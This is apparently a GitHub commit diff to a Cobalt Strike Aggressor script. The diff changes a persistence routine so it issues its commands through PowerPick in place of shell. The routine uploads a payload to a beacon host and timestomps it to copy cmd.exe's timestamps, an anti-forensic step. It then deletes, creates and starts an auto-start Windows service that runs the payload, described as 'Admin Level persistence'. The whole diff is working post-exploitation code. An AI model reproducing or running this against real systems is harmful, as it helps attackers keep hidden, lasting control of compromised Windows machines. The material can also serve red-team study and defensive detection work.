Updated with PowerPick

Execute-Assembly
Harley Lebeau 2018-02-09 12:42:21 -07:00 committed by GitHub
parent a7259ded1f
commit 009ff33f6b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 4 deletions

View File

@ -13,10 +13,10 @@ sub persistCustomService {
bcd($bid, $3['targetpath']);
bupload($bid, $3['payloadfile']);
btimestomp($bid, "$3['payloadfile']", "C:\\Windows\\System32\\cmd.exe");
bshell($bid, 'sc delete '.$3['servicename'].'');
bshell($bid, 'sc create '.$3['servicename'].' binpath= "'.$3['targetpath']."\\".split("/",$3['payloadfile'])[-1].'" error= ignore start= auto DisplayName= "'.$3['display'].'"');
bshell($bid, 'sc description '.$3['servicename'].' "'.$3['description'].'"');
bshell($bid, 'sc start '.$3['servicename'].'');
bpowerpick($bid, 'sc delete '.$3['servicename'].'');
bpowerpick($bid, 'sc create '.$3['servicename'].' binpath= "'.$3['targetpath']."\\".split("/",$3['payloadfile'])[-1].'" error= ignore start= auto DisplayName= "'.$3['display'].'"');
bpowerpick($bid, 'sc description '.$3['servicename'].' "'.$3['description'].'"');
bpowerpick($bid, 'sc start '.$3['servicename'].'');
}
}));
dialog_description($dialog, "Generates a Custom Service for Admin Level persistence on selected beacon. **Only Service EXE Payloads should be used**");